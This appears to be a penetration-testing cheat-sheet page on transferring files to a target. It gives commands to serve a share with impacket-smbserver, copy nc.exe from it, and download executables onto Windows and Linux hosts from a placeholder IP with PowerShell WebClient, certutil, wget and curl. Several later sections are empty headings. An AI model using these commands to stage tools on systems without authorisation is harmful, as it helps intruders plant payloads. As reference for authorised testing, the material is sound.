Page cover

File Transfers

SMB Server

-> Setting

impacket-smbserver share . -smb2support -user user -password teste321

-> Transfer

net use \\<smbserver>\share /USER:user teste321
copy \\<smbserver>\share\nc.exe .

HTTP

-> start a web server

python -m SimpleHTTPServer 80
service apache2 start

-> Windows - file download

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://<IP>/file.exe','C:\Users\user\Desktop\file.exe')"
iwr -uri http://<IP>/file -Outfile file
wget http://<IP>/file -O file
curl http://<IP>/file -o file
certutil -urlcache -f http://<IP>:803/ok.exe ok.exe  

-> Linux - file download

wget http://<IP>/file
curl http://<IP>/file > file

Pure-FTPd

-> Install and Configure

-> Transfer

tftp

-> Install and Configure

-> Transfer

scp

Last updated